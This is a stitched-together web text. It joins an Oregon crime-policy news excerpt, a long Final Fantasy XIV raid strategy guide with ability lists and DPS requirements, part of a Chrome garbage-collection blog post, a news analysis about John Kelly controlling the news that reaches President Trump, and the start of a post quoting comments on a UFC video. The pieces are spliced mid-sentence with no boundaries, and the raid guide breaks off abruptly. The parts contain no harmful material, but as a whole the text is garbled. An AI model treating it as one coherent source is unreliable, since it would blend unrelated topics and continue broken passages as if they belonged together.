And lastly, the prosecutors want money from the reduced corrections costs to go towards programs that will keep inmates released from prison from reoffending or violating parole supervision and getting sent back to prison.
About 2,200 offenders who are on probation or parole violate their supervision conditions and return to prison each year.
"If as little as 20 of those inmates are not admitted each month, we will reduce the prison population by 405 beds over the next two years," said Bob Hermann, Washington County's District Attorney.
They estimate that their package of proposals would shrink the prison population by 796 beds over the next two years, and over 10 years, save about 1019 beds.
The district attorneys contend that the two-year suspension of Measure 57's harsher penalties for property crime offenders, as of February 2010, was a factor that drove up the state's property crime rate.
Oregon's largest cities, including Portland and Gresham, recorded bigger increases in property crime in the first six months of 2012, compared with other big cities nationwide, according to the latest FBI figures. The percentage increases in Salem and Eugene also were larger than in New York, Chicago or Detroit.
Multnomah County District Attorney Rod Underhill said prosecutors want to be fiscally responsible and engaged in a solution to the state's financial woes, but are not willing to see reduced sentences for violent or property crimes.
He said the association does not believe that the legislative proposal by the state's public safety commission makes sense when it comes to its to priority of keeping the public safe.
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clear.
Phase 7 (Winged Justice/Gavel)
Justice assigns debuffs to different players. Each debuff has a corresponding task that must be completed by the time Gavel is cast. Additionally, some players will also be required to take damage to remove a second debuff (just like in phase 1).
Tank with Max HP debuff must have highest HP in the party when Gavel is casted. Also must clear 4 Final Punishment stacks, so get autoattacked by boss at least 4 times.
Tank with Min HP debuff must have lowest HP in the party when Gavel is casted. Also must clear 4 Final Punishment stacks, so get autoattacked by boss at least 3 times. Take the NE tornado just before Gavel.
Healer with Penalty I debuff (blue) must take SE ball and then share NW and NE balls with DPS.
Healer with Penalty II debuff (green) must get hit by NW tornado.
DPS with blue Nisi debuff must kill blue Steam Regulator. After killing Regulator, go north and take nearest ball with Penalty 1 healer.
DPS with red Nisi debuff must kill red Steam Regulator. After killing Regulator, go north and take nearest ball with Penalty 1 healer.
DPS with Penalty III debuff (red) must take one of the south tornados, then wait until after Gavel to share the SW ball with other Penalty III DPS.
Phase 8 (Final Justice)
Final Punch, MT uses Hallowed Ground or Living Dead.
Final Apocalypse, MT should still have HG or LD active and eat this.
Final Beam, MT should still have HG or LD active and eat this.
Long Needle happens again, similar to phase 3 and 5 except this time there is only 1 AoE puddle, so you can stack in the direct back of the boss.
A Hidden Mine will spawn just before Long Needle AoEs. Rotate either left or right to dodge your ground puddle AoEs, whichever direction is away from the Mine. The two players with Prey need to go backward in different directions.
As soon as Long Needle is over, the player with Compressed Water debuff will sacrifice themselves on the Hidden Mine.
As soon as Long Needle is over, Chakrams spawn again. This time, MT will move the boss to a safe spot and everyone needs to get close to the boss, but not inside his hitbox.
One of the tanks will get Enumeration. Both tanks will always go in it, and then put in 0, 1, or 2 healers as required.
Immediately following Enumeration, OT needs to run away from the boss to bait Super Jump.
MT will solo tank Final Punch, Final Apocalypse, and Final Beam again, just using heavy CDs this time.
Phase 9 (J Storm + J Wave)
Be sure to have damage mitigation up when he jumps. J Storm does a lot of damage. If you are using our sac strat then players may need VIT melds to survive this with Weakness (especially casters).
J Wave happens every 5 seconds so you should be able to get off 2 abilities per healer between Waves.
Melee DPS need to alternate Mantra usage.
Mainly, just finish killing Final Justice. Remember to LB again and use potions here. You should get at least LB2, maybe LB3.
Enemy Ability List
Onslaughter
Discharge: Autoattack. Single target on player with highest aggro. Physical
Mega Beam: Linear AoE from boss to randomly-targeted player. Deals significant damage and small knockback if not avoided. Darkness
Hydrothermal Missile: Small AoE on player with highest aggro. Magical (Fire)
Execution: Spawns 2 Steam Regulator A and 2 Steam Regulator B. Also inflicts four players (DPS by default) with either Nisi A or Nisi B debuffs.
Perpetual Ray: Series of 4 single target attacks. The first hit applies Vulnerability Up debuff. Tank swap mechanic. Magical (Unaspected)
Legislation: Applies Final Punishment stacks to four players (DPS by default). Each player with the debuff will receive a different amount of stacks of either 1, 2, 3, or 4. One stack of Final Punishment is removed each time the player receives damage from any source.
Discoid: Spawns 5 Steam Gaskets. They spawn in 5 of 8 possible locations and each will tether to one of the 4 DPS or 1 healer.
Seed of the Sky: Five random players will have a ground-targeted AoE centered on them. Deals high damage to any players hit. Darkness
100-Megatonze Shock: Arena-wide AoE damage that deals less damage if further from the pulsing AoE indicator. Physical
Steam Regulator A & Steam Regulator B
Retribution: If a Steam Regulator is not killed within 18 seconds, they will use Retribution and deal massive damage (about 85k). Darkness
Steam Gasket
Explosion: Any player who comes in contact with a Steam Gasket will cause it to cast Explosion which places an AoE puddle on the ground. The puddle will explode after 1s to deal damage to everyone in the puddle. Explosion damage is amplified if multiple players receive damage from it. Damage deals significantly more damage to a player if they were tethered to the Gasket that placed the Explosion puddle. Darkness
Blaster
Attack: Autoattack. Physical
Brute Force: Medium damage single-target attack on player with highest aggro. Unlike in A6S, this does not apply any vulnerability debuff. Physical
Brawler
Attack: Autoattack. Magical (Unaspected)
Magicked Mark: Medium damage single-target attack on player with highest aggro. Unlike in A6S, this does not any vulnerability debuff. Magical (Unaspected)
Attachment: Telegraphs the use of one of four abilities (Single Buster, Double Buster, Rocket Drill, Drill Drive). Single Buster: Telegraphed by a single non-glowing hand. Linear AoE attack on player with highest aggro. Damage cannot be split between players. Magical (Unaspected) Double Buster: Telegraphed by two non-glowing hands. Linear AoE attack on player with highest aggro. Damage can be split between players. Magical (Unaspected) Rocket Drill (Single Drill): Telegraphed by a single glowing hand. Single target attack on random player. Deals less damage at further range from boss. Physical Drill Drive (Double Drill): Telegraphed by two glowing hands. Targets closest and furthest players from boss. Two AoEs hit centered on the two selected players dealing high damage. Other players hit by the AoE will take damage and receive stun status for 10 seconds. Magical (Earth)
Auxilliary Power: Green AoE cenetered on Swindler. Does not deal any damage. Casted periodically and gives a Damage Up stack and a Rehabilitation buff to nearby robots.
Swindler
Attack: Autoattack. Magical (Unaspected)
Magicked Mark: Medium damage single-target attack on player with highest aggro. Unlike in A6S, this does not apply any vulnerability debuff. Magical (Unaspected)
Enumeration: In phase 2, will target 1 random tank. In phase 6 will target 1 random tank and 1 random healer. Allows 5 seconds to stack in the amount of people equal to the number of revolving orbs (2-4). Having less or more than the required amount of players in the ring will deal significant damage to players in the ring (about 38k). Darkness
Height: Players with Low Arithmeticks must be on a high (red) platform when Height is cast. Players with High Arithmeticks must be on a low platform when Height is cast. Being on the wrong platform will trigger the player to be hit with Height Error.
Height Error: Deals 99,990 damage to the player who triggered Height Error. Deals 9,500 arena-wide damage to all players. Applies stacking Damage Down debuff to all players who survive the damage. Physical
Bio-Arithmeticks: Arena-wide AoE damage. Darkness
Auxilliary Power: Green AoE cenetered on Swindler. Does not deal any damage. Casted periodically and gives a Damage Up stack and a Rehabilitation buff to nearby robots.
Allied Arithmeticks: Increases defense when allies are on the field. Unlike in A6S, this defense buff cannot be broken by moving enemies further apart.
Vortexer
Attack: Autoattack. Physical
Brute Force: Medium damage single-target attack on player with highest aggro. Unlike in A6S, this does not apply any vulnerability debuff. Physical
Super Cyclone: Deals medium damage in arena-wide AoE. Inflicts large knockback to all players from the boss's position. Magical (Wind)
Ballistic Missile: Targets four random players and places an AoE puddle. Walking through the puddle will apply Sludge debuff. Physical
Elemental Jammer: Applies a 20s debuff called Compressed Lightning on a random DPS. When the person with Compressed Lightning has their debuff timer hit 0s, the player is hit with an attack called Crashing Thunder.
Crashing Thunder: AoE attack centered on the player who had the Compressed Lightning debuff. Damage is increased for each additional player hit by the AoE. Another player hit by Crashing Thunder will then get the Compressed Lightning debuff. After the debuff is passed to another player, the previous one gets a Lightning Resistance Down debuff. Magical (Lightning)
Punishing Thunder: Deals very high arena-wide damage when the player who has Compressed Lightning dies or if the debuff is not passed onto another player. Magical (Lightning)
Ice Missile: Randomly targets four players. Deals medium damage in AoE centered on the target. Leaves behind a ground AoE that will inflict Frostbite debuff and Heavy debuff if stepped in. The AoEs will grow in size twice. Magical (Ice)
Ultra Flash: Deals massive damage in arena-wide AoE. Damage can be avoided by breaking line-of-sight from Vortexer. Physical
Blaster Mirage (Phase 4)
Attack: Autoattack. Only used in phase 2. Physical
Brute Force: Medium damage single-target attack on player with highest aggro. Unlike in A6S, this does not apply any vulnerability debuff. Only used in phase 2. Physical
Supercharge: Blaster Mirage locks onto the position of a random party member and charges across the arena in their direction. Getting hit by Supercharge will apply Damage Down debuff and high damage. Only used in phase 4. Physical
Mirage: Four random players are marked with an overhead indicator. A Blaster Mirage spawns at the location of each marked player. When a Blaster Mirage sapwns, it lands on top of the player dealing damage called Mirage in a small AoE centered on the targeted player. Only used in phases 4 & 6. Physical
Blinder: If player faces toward the Blaster Mirage tethered to them when it has its arms up, Blinder will deal medium damage to them and apply Damage Down debuff. If the player was facing away, it does not deal damage nor apply any debuff. Only used in phase 6. Darkness
Power Tackle: If player faces away from the Blaster Mirage tethered to them when it is crouching, Power Tackle will deal medium damage to them and apply Damage Down debuff. If the player was facing toward, it does not deal damage nor apply any debuff. Only used in phase 6. Physical
Power Plasma Gamma
Power Plasma: Deals damage in an AoE centered on the position of the Power Plasma Gamma. Triggered when a player comes into contact with a Power Plasma Gamma or when the Power Plasma Gamma comes into contact with Brawler. If it is triggered by Brawler, it will deal massive arena-wide damage. Magical (Unaspected)
Power Plasma Beta
Ultra Power Plasma: Deals arena-wide AoE damage. Triggered when Power Plasma Beta makes contact with Brawler. Magical (Unaspected)
Brute Justice
Attack: Autoattack. Physical
Transform: Deals arena-wide AoE damage and knocks back all players from center of the arena. Darkness
Double Rocket Punch: Very high damage that can be split between two players. Being killed by this attack will give Brute Justice a stack of Damage Up buff. Physical
Flarethrower: Wide front conal AoE. Magical (Fire)
Missile Command: Fires Short Needles, which is arena-wide AoE. Applies 2 hits over 10 seconds in phases 3 and 5. Applies 7 hits over 14 seconds in phase 8. Magical (Unaspected)
Long Needle: Several versions of Long Needle, all of which will deal damage. Magical (Unaspected) Ground-Targeted Long Needle: Four random players will have ground-targeted AoE that gives a 3s telegraph in the form of an AoE indicator. Stacking Long Needle: A random player will be marked with stacking icon. This damage can be split between players. Prey Long Needle: A random player is marked with Prey and will be hit by a Long Needle which counts as a small-radius AoE centered on them.
Super Jump: Chooses furthest player from the boss and jumps to their position. Upon landing, deals wide AoE damage centered on the targeted player. Other players hit by the Super Jump landing will be knocked back and receive a 10s Stun debuff. Physical
Apocalyptic Ray: Wide front conal AoE that applies a stacking Vulnerability Up debuff. Darkness
J Kick: High arena-wide AoE damage. Darkness
Justice: Refills Brute Justice's HP to full.
Verdict: Applies Final Punishment and Final Judgment debuffs to players.
Gavel: Evaluates Final Judgment conditions. If conditions were not met, wipes the group.
Link-Up: Applies a 40s debuff called Compressed Water on a random DPS. When the person with Compressed Water has their debuff timer hit 0s, the player is hit with an attack called Crashing Wave.
Crashing Wave: AoE attack centered on the player who had the Compressed Water debuff. Deals about 180k damage unmitigated. The damage is split between all players hit. At least 5 players are recommended to split this damage, and 8 is preferred. Unlike in A6S, this debuff will not pass to another player. The attack also spawns a Waterspout.
Final Punch: Very high damage that applies Bind+ debuff. Damage can be split between players. Being killed by this attack will give Brute Justice a stack of Damage Up buff. Physical
Final Apocalypse: Wide front conal AoE that applies damage about every second. Targets player with highest aggro. Magical (Unaspected)
Final Beam: Linear AoE that deals damage which can be split between players. Also causes small knockback. Magical (Unaspected)
J Storm: Very high arena-wide AoE damage. Darkness
J Wave: Arena-wide AoE damage that increases in potency each time it is used. Darkness
Waterspout
Drainage: If a player gets too close to Waterspout it will form a tether to that player and deal damage and knockback in an AoE centered on that player. Drainage will not happen until about 3s after Waterspout spawns. Magical (Water)
Severe Contamination: If Waterspout is not destroyed or neutralized within 20 seconds after spawning, it will deal very high arena-wide AoE damage. Magical (Water)
Steam Chakram
Eye of the Chakram: Deals damage to any player hit by Steam Chakram as it dashes across the arena. Physical
Hidden Mine
Hidden Mine: Walking into a Hidden Mine triggers it to explode dealing damage by an attack of the same name. Damage is dealt in an AoE slightly larger than the radius of the Mine itself. Magical (Lightning)
Enemy HP & DPS Requirements
Enemy HP Attack Uptime (seconds) DPS Goal / Required Onslaughter 1,007,200 112 9,896 (Goal) Steam Regulator (Phase 1) 25,280 18 1404 (Required) Blaster 430,240 45 9561 Brawler 344,160 n/a n/a Swindler 344,160 n/a n/a Vortexer 430,240 n/a n/a Brute Justice (Phases 3-5) 1,600,000 n/a n/a Brute Justice (Phases 7-9) 1,820,099 ~200 9353 (Goal) Steam Regulators (Phase 7) 25,280 18 1404 (Required)
Fight Strategy
Phase 1 (Onslaughter)
0 Start
7 Hydrothermal Missile
12 Seed of the Sky
18 Mega Beam
23 Hydrothermal Missile
28 Execution
31 Steam Regulators Spawn
32 Hydrothermal Missile
35 Seed of the Sky
41 Mega Beam
47 Perpetual Ray
49 Retribution (Regulator DPS Check)
55 Hydrothermal Missile
62 Mega Beam
68 Hydrothermal Missile
72 Legislation
80 Steam Gaskets (Balls) Spawn
82 Hydrothermal Missile
87 Seed of the Sky
93 Mega Beam
100 Hydrothermal Missile
101 Perpetual Ray
107 Hydrothermal Missile
112 Boss Should be Dead
Positioning
Recommended positioning for Onslaughter is north. Try to position it so its front half will be between the two northern boxes that spawn around the Steam Regulators. You'll see what I mean after a few attempts. This will allow melee to switch from their Regulators back to Onslaughter without any downtime at all.
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Position Onslaughter here and keep it here until it dies.
Position Onslaughter here and keep it here until it dies.
Steam Regulators
The first few seconds of the fight are pretty self explanatory. When the Steam Regulators spawn, you'll need to start learning shit. This is actually pretty simple though. You have to be in the box (the black/gray box) in order to do any damage to the regulator. Also, only one person can be in each box. Just toss each DPS into a different box.
Each DPS will get a Nisi A or Nisi B. But it doesn't matter which debuff you get, they can go into whichever box they want. Just keep in mind that these buffs come with a DoT so make sure to keep the DPS alive.
Each Regulator has 25280 HP and you have about 18s to kill them all. If you fail to kill a Regulator in time, it will explode and wipe everyone. 25280 HP in 18s = about 1400 DPS. You might want to hold some cooldowns to deal enough damage in time. You'll find that this phase can't be pushed anyway unless you do a WHOLE FUCKING LOT OF DPS, and even then it can be difficult to avoid wiping to other mechanics if you push.
Right after Regulators spawn, there will be a Seed of the Sky, so make sure to position yourself so that your Seed will be baited out of the way, and still leave enough room for you to dodge it. If you're a melee DPS, you can bait the Seed to one side of the Regulator and then move to the other side and still be able to attack. Right after the Seed, Mega Beam will target a random player so try to bait that as well. You can move back to your original position because Seed will be done, and Mega Beam not gone off yet.
Perpetual Ray
Perpetual Ray hits a total of 4 times. The first hit will apply Vulnerability Up debuff, so the idea is to let one tank take the first hit and then tank swap so the other tank can take the next 3 hits, then swap back if you want. Alternatively, you can use one tank to Holmgang / Hallowed Ground / Living Dead all four hits.
Legislation & Discoid
Legislation is a new mechanic. Once casted, it will put a stacking debuff called Final Punishment on four players. If they're all alive, it'll go on the 4 DPS (goes on healer if a DPS is dead). Each DPS will have a different number of stacks for their debuff, either 1, 2, 3, or 4 stacks. You must remove all stacks before the phase is over or you will wipe. One stack will be removed each time the player takes damage, so the player with 4 stacks needs to take damage 4 times.
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All Possible spawn locations of Steam Gaskets
All Possible spawn locations of Steam Gaskets
There will be five Discoid orbs (like the ones in A4S) that spawn around the edges of the arena and tether to the 4 DPS and 1 of the healers. If you run into an orb, it places an AoE puddle on the ground called Explosion that detonates after about 1s. Getting hit by the Explosion from the orb tethered to you will do extra damage. Having multiple players take the same orb will also deal more damage, but it's survivable. There are several ways to handle all this, but I will list out the simplest method below:
2 Hydrothermal Soak Strat
P1+P2+P3+P4 All get hit by 1st Hydrothermal Missile (at 82s)
P3 get an orb
P4 get an orb
HEAL P4 ASAP
P4 get another orb
Pop all the rest of the orbs (doesn't matter who does this, but don't get hit by any Explosions)
P2+P3+P4 take 3rd Hydrothermal Missile (at 107s).
This is just the minimum you can do here. The main thing is to soak up the first Hydrothermal Missile to reduce everyone's debuff count by 1. Then you can use the 3rd Hydrothermal Missile to soak up 1 more stack from each player, but you should treat that one like a failsafe and try to clear them all using the orbs. There is another Hydrothermal Missile during this phase, we call the 2nd Hydrothermal that happens right after Mega Beam. This one is not very safe for DPS to take because your healers have most likely not topped everyone off yet from the first one plus the Explosions they've been taking. However, it exists so if you want to try to work it into a super cheesy strat, you can give it a shot.
At a minimum, you need P3 to take 1 orb and P4 to take 2 orbs. However, after soaking the first Hydro, there will be a remaining total of 6 Final Punishment debuffs but only 5 Discoid orbs to clear them with. This means that unless you double up two people to one of the orbs, there will be at least one person that needs to soak up the 3rd Hydrothermal in order to be fully cleared. After running it 100 times or so, you'll find the shortcuts but just play it safe in the beginning.
Phase Pushing
You don't usually need to worry about pushing phase 1 too fast because even when Onslaughter's HP hits 0, he won't phase change until after 107s. You can push sooner than that, but only if you push before 93s (before Mega Beam); this takes about 12k total DPS so it's very unlikely to happen unless you've got some 245 weapons. After the 93s mark, you're forced to wait through more mechanics until the 107s mark even if you finish off Onslaughter. Use the extra time to clear your Final Punishment stacks correctly and prep a combo for Blaster spawning in the next phase.
Phase 2 (Robots)
Summary for All Robots
0 Blaster & Brawler Spawn
8 Magicked Mark (Brawler)
9 Brute Force (Blaster)
Blaster's rotation resets/changes upon hitting 50% HP.
11 Auxilliary Power (Brawler)
15 Attachment Selected (Brawler)
21 Attachment Used (Brawler)
21 Swindler Spawns
25 Auxilliary Power (Brawler)
29 Magicked Mark (Brawler)
32 Magicked Mark (Brawler)
38 Magicked Mark (Brawler)
41 Auxilliary Power (Brawler)
44 Height (Swindler)
45 Vortexer Spawns
45 Attachment Selected (Brawler)
50 Magicked Mark (Swindler)
51 Attachment Used (Brawler)
55 Auxilliary Power (Brawler)
56 Brute Force (Vortexer)
59 Magicked Mark (Brawler)
Brawler's rotation resets/changes upon hitting 50% HP.
64 Magicked Mark (Swindler)
66 Brute Force (Vortexer)
76 Brute Force (Vortexer)
76 Height (Swindler)
81 Magicked Mark (Swindler)
86 Brute Force (Vortexer)
95 Magicked Mark (Swindler)
96 Brute Force (Vortexer)
106 Brute Force (Vortexer)
108 Height (Swindler)
113 Magicked Mark (Swindler)
116 Brute Force (Vortexer)
126 Brute Force (Vortexer)
127 Magicked Mark (Swindler)
136 Brute Force (Vortexer)
140 Height (Swindler)
Swindler's rotation resets/changes upon hitting 50% HP.
Vortexer's rotation resets/changes upon hitting 50% HP.
Blaster Post-55%:
Starts Casting Mind Blast
Mirage Spawns
0 Mind Blast Interrupted
3 Brute Force (Blaster)
6 Brute Force (Mirage)
11 Brute Force (Blaster)
17 Brute Force (Mirage)
19 Brute Force (Blaster)
27 Brute Force (Blaster)
28 Brute Force (Mirage)
35 Brute Force (Blaster)
39 Brute Force (Mirage)
43 Brute Force (Blaster)
Brawler Post-50%:
0 Hit 50% HP
2 Start Loop
2 Auxilliary Power
5 Attachment Selected
11 Attachment Used
15 Auxilliary Power
20 Magicked Mark
30 Magicked Mark
32 Restart Loop Swindler Post-50%:
0 Hits 0%
3 Bio-arithmeticks
7 Auxilliary Power
10 Magicked Mark
16 Auxilliary Power
24 Height + Enumeration
28 Magicked Mark
31 Auxilliary Power
34 Magicked Mark
37 Auxilliary Power
41 Magicked Mark Vortexer Post-50%:
0 Hit 50% HP
3 Super Cyclone
8 Elemental Jammer
12 Brute Force
16 Ballistic Missile
18 Missile Telegraph
21 Missile Hits
22 Brute Force
30 Crashing Thunder
32 Brute Force
42 Brute Force
46 Ballistic Missile
48 Missile Telegraph
51 Missile Hits
52 Brute Force
52 Crashing Thunder
Robot Spawn Points
Blaster - North, Mirage - Next to Blaster, Brawler - Center, Swindler - East, Vortexer - South.
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Spawn positions of the robots throughout this phase. Blaster north, Brawler center, Swindler east, Vortexer south.
Spawn positions of the robots throughout this phase. Blaster north, Brawler center, Swindler east, Vortexer south.
Robot Mechanics
Each robot will change their set of mechanics after you get them below a certain point. That point is about 55% for Blaster, and 50% for the rest. Here is a list of their mechanics (see Enemy Abilities section for more detail on each ability):
Robot Abilities 100%-0% Extra Abilities 50%-0% Blaster Brute Force (no vulnerability debuff) Mind Blast (at 55%)
Spawns a Mirage that needs to be tanked away from Blaster
Mirage will also use Brute Force Brawler Magicked Mark (no vulnerability debuff)
3 Attachments (busters & double drill)
Auxilliary Power (green AoE buffs nearby enemies w/ damage and HP regen) Gains very potent damage reduction buff until both Betas hit mid and die.
Spawns Power Plasmas - 2 Beta and 2 Gamma.
Adds Rocket Drill to possible Attachments (can use all 4 now). Swindler Height
Magicked Mark (no vulnerability debuff)
Allied Arithmeticks Bio-Arithmeticks (AoE)
Enumeration Vortexer Brute Force (no vulnerability debuff) Super Cyclone (knockback)
Compressed Lightning
Ballistic Missile
Kill Order
Kill Blaster Brawler to 50% Vortexer & Swindler to 60% Kill Brawler Push Swindler below 50% 5s after Swindler pushes, push Vortexer below 50% Kill Swindler & Vortexer same time
Positioning
The phase starts with Brawler spawning in the center, unable to move. At the same time, Blaster will spawn north. You should have Tank 1 (T1) pick up Brawler and get some hits on it to build aggro. Your Tank 2 (T2) should pick up Blaster, and just tank it where it is. Put a healer near mid and ranged DPS or caster on the edge of the arena to the Northeast for double drills.
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Healer 1 positions for close Double Drill, Ranged 2 positions for far Double Drill, T1 builds aggro on Brawler while T2 tanks Blaster.
Healer 1 positions for close Double Drill, Ranged 2 positions for far Double Drill, T1 builds aggro on Brawler while T2 tanks Blaster.
After the Mirage spawns, the tanks need to tank swap Blaster. The MT will continue tanking Blaster north, and will bait single busters out to the NW if necessary. The OT will drag the Mirage over to East side and pick up Swindler.
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Once Blaster is pushed, tank swap and T2 pulls Mirage over to east and picks up Swindler when it spawns.
Once Blaster is pushed, tank swap and T2 pulls Mirage over to east and picks up Swindler when it spawns.
If T1 gets a Single Blaster on them here, he needs to run over to the northwest area so none of the DPS get hit by it. Basically, DPS should be able to give no thought to mechanics here and just focus on their rotations.
Once Blaster is dead, T2 will then need to rotate around to South side to pick up Vortexer when it spawns. As T2 moves around the arena, he needs to be sure not to drag mobs near the center or they will get buffed by Auxilliary Power from Brawler.
All DPS should be killing Brawler. If you get double drill, put the melee on the East and West sides of Brawler. If you get Single Buster, put T1 West of Brawler. There should only be 1 Attachment before Brawler hits 50%.
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After Brawler is dead, DPS should be on Brawler. Use this positioning if you get a Double Drill here.
After Brawler is dead, DPS should be on Brawler. Use this positioning if you get a Double Drill here.
Once Brawler hits 50%, DPS need to move to about halfway between mid and south (with melee on Swindler/Vortexer). T1 will need to run around and grab Gamma orbs. During this time, handle Attachments like so:
Single Buster: T1 on West half of the arena.
Double Buster: Everyone move between mid and South to split damage.
Single Drill: Everyone move to edge of the arena.
Double Drill: Healer 2 move to mid, Healer 1 move south-by-southeast on the wall.
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This positioning is not set in stone. There will be some adjustment due to Attachments and Heights. Just stay near platform divider lines. Healers handle the Double Drills.
This positioning is not set in stone. There will be some adjustment due to Attachments and Heights. Just stay near platform divider lines. Healers handle the Double Drills.
When the Beta orbs are gone, Brawler's damage reduction buff will be removed. Ranged DPS and casters should begin killing it immediately, but melee need to wait until the next Attachment before moving in to kill Brawler. T1 can now take aggro on Vortexer, and can continue holding it in South next to Swindler.
When Brawler is dead, T1 should move Vortexer to mid and face it East. Keep Swindler in South on T2. Split your healers and DPS so that you have 4 people near Swindler and 4 people near Vortexer. Super Cyclone will knock you back, so make sure you're positioned to get knocked either south or east (depending on which stack you're in).
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Players stack loosely like this and move in/out for Enumeration.
Players stack loosely like this and move in/out for Enumeration.
When Super Cyclone goes out, T1 needs to move back to mid so that Vortexer doesn't move yet. Only one Enumeration will go on one of the tanks. Stacking priority is as follows: #1 Tank, #2 Healer, #3 Melee/Ranged 1, #4 Melee/Ranged 2.
When Ballistic Missile goes out, Vortexer should be moved to the middle of the East wall and Swindler needs to be moved to the Southeast corner.
Healer 1 should stand between the robots and a bit further west to take Compressed Lightning from whichever DPS has it. The DPS with Compressed Lightning needs to go to the same position as Healer 1 whenever their debuff timer is about to expire.
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Ballistic Missiles don't need to be stacked directly on top of each other, but should at least form a loose line between south and mid. Always dodge the puddles by moving east.
Positioning for the rest of the phase. Pikachu = Compressed Lightning player.
Ballistic Missiles don't need to be stacked directly on top of each other, but should at least form a loose line between south and mid. Always dodge the puddles by moving east.Positioning for the rest of the phase. Pikachu = Compressed Lightning player.
Blaster
Blaster will begin its new abilities around 55%, rather than 50% like the other robots. Remember to Silence the Mind Blast. The Mirage will tether to Blaster a few seconds after spawning unless it is moved far enough away. The tether makes Blaster and Mirage invulnerable, so you need to separate them. Blaster needs to die before Vortexer spawns or everyone gets wiped. Blaster has 431500 HP and you have 45s to kill him, so you'll need a total of 9589 DPS to kill him in time. It's recommended to use potions here for progression. Because of this DPS check, you might also want to hold any cooldowns from your opener that may be longer than 2 minutes.
Brawler
When the phase starts, Brawler will spawn in the middle. It will be unable to move, but will still be able to attack from range. T1 needs to build aggro on it. Make sure to face Single Busters away from everyone. Before 50%, Brawler will not use Single Drill, but will use all the other Attachments so be prepared to position properly for Single Buster, Double Buster, and double drill (Drill Drive). Brawler will also use Auxilliary Power (Swindler had this ability in A6S), which is the green AoE that buffs nearby robots. For this reason, you cannot bring any of the other robots near Brawler.
Once Brawler is under 50% HP, he will get potent damage resistance so don't bother attacking anymore. This will remain in effect until the two Power Plasma Beta orbs hit the middle and explode. Similar to A6S, you need to stagger one of these Betas so they won't explode at the same time. However, you still want them to move fairly quickly because you want to be able to kill Brawler sooner if possible. For this reason, either put Heavy on one orb OR Stun one orb, but not both.
When Brawler's damage resistance buff is gone, ranged DPS should immediately start attacking it again. Melee DPS will need to wait for one more Attachment before moving over to Brawler because if it's a single drill, they're screwed. Double drill could also be a problem if you intend to rely on last minute coordination for it, so just wait until the Attachment is done. You should be able to kill Brawler before the next Attachment goes off.
Swindler
Swindler spawns on the East side and will do Height repeatedly for the rest of the phase. I highly recommend setting up custom triggers in ACT to tell you whether to go high or low, since you'll have more important things to watch out for. When moving Swindler to south, be careful not to move near the middle so it won't get buffed by Auxilliary Power.
At 50% HP, Swindler will immediately use Bio-Arithmeticks (AoE). Under 50% it will use Enumeration. To handle Enumeration, split the pary into two groups with one on Swindler and the other on Vortexer. Because of knockback from Vortexer, we put both melee on Swindler plus one healer and one tank. The other group had tank, healer, the ranged DPS, and caster. Priority for stacking was tank + healer and then the other players would decide whether they wanted to be 3rd or 4th in stack.
Vortexer
About 45 seconds after the phase starts, Vortexer will spawn south. If Blaster is still alive at this time, the party immediately wipes. Vortexer doesn't do much until it is below 50%.
At 50% HP, Vortexer will immediately use Super Cyclone which deals medium-high damage and large knockback. If you position it in mid before pushing to 50% then the knockback is more predictable. Because both Super Cyclone and Bio-Arithmeticks do 10-15k damage each, you can't push Swindler and Vortexer to 50% at the same time. You want to time it so that each one gets pushed about 5s apart. That will ensure that their AoE damage won't wipe the group. Additionally, even if you do live through the initial damage, you will have Enumeration and Height happening at very inconvenient times.
Finally, both Vortexer and Swindler have to be killed within 5 seconds of each other. Once one |
45 take advantage of this to drastically reduce the amount of memory consumed by idle foreground tabs. Figure 3 shows a sneak peek at how memory usage of Gmail’s JavaScript heap can be reduced by about 45% when it becomes idle, compared to the same page in Chrome 43. Figure 3: Memory usage for Gmail on latest version of Chrome 45 (left) vs. Chrome 43
These improvements demonstrate that it is possible to hide garbage collection pauses by being smarter about when expensive garbage collection operations are performed. Web developers no longer have to fear the garbage collection pause, even when targeting silky smooth 60 FPS animations. Stay tuned for more improvements as we push the bounds of garbage collection scheduling.White House Chief of Staff John F. Kelly (Kevin Lamarque/Reuters)
It is not every day that Breitbart News highlights commentary from MSNBC's Chris Matthews, but the “Hardball” host said something on Thursday that Breitbart wanted to amplify. Matthews said that if he were President Trump, he would fire White House Chief of Staff John F. Kelly.
It was a glib remark, made in the context of a discussion about reports that Kelly is trying to position himself as Trump's gatekeeper, blocking dubious news articles from reaching the president's desk. “He's controlling the cage,” Matthews said of Kelly. “If I were Trump, I'd fire him just for saying that.”
The implication is that Trump's ego should rebel against Kelly's attempt to control what the president sees. To be sure, reports on Kelly's effort, by Politico and the New York Times, are a bit insulting, suggesting that Kelly views Trump as highly impressionable and incapable of discerning fact from fiction on his own.
If Kelly's new system works, perhaps Trump's pride won't be wounded because he won't see Breitbart's article — or Politico's or the Times's or this one. But considering the amount of time Trump spends glued to Twitter and cable news, it is extremely difficult to block information from reaching him.
Thus, as Kelly tries to filter out articles from the likes of Breitbart, Infowars, GotNews and the Gateway Pundit, those websites will likely try to erode his standing in their readers' — and the president's — eyes. And their message will probably get through to Trump, one way or another.
President Trump said his new chief of staff John Kelly will do a "tremendous job," after his swearing-in on July 31. "We have a tremendous group of support, the country is optimistic and I think the general will just add to it," Trump said. (The Washington Post)
Infowars's Paul Joseph Watson wrote on Friday that Kelly's restrictions “will undoubtedly bolster complaints emanating from Trump's base that he has been isolated and surrounded by globalists who have no interest in furthering Trump's 'America first' message.”
Mike Cernovich, another Infowars personality, told BuzzFeed that he is confident the president will continue to see news from sources like Infowars because Donald Trump Jr., who does not work in the White House, will pass articles along to his father, unchecked by Kelly. GotNews founder Charles C. Johnson added his belief that first lady Melania Trump also will supply unfiltered news to the president.
An un-bylined GotNews post on Thursday struck a defiant note: “We in the alternative media won the election for Trump. We will survive a failed general who was weak on borders. The people who share the truth with the president are those we are interested in helping. Those who seek to control him have not learned the key lesson of the 2016 election: Neither Trump nor the people will be controlled.”
Much of the pro-Trump media's fury this week has been aimed at a different general, national security adviser H.R. McMaster, who prevailed on the president not to withdraw from Afghanistan. Chief economic adviser Gary Cohn, always a favorite target, drew new fire for publicly criticizing Trump's response to Charlottesville in an interview with the Financial Times.
But Kelly's turn is coming, if it hasn't already arrived.The following video on Youku titled “UFC127 Zhang Tiequan quick victory, 48 second choke hold on Brazilian Jujitsu black belt” uploaded 3 days ago has received over 640k views and thousands of comments. Zhang Tiequan is a Chinese fighter using the Sanda fighting style. His opponent was American Jason Reinhardt.
A copy on YouTube:
Can’t see the above video?
Comments on Youku:
aquswc:
This is so excellent, now I don’t watch WWE anymore these days, [but] from now on I will watch UFC.
至尊名人:
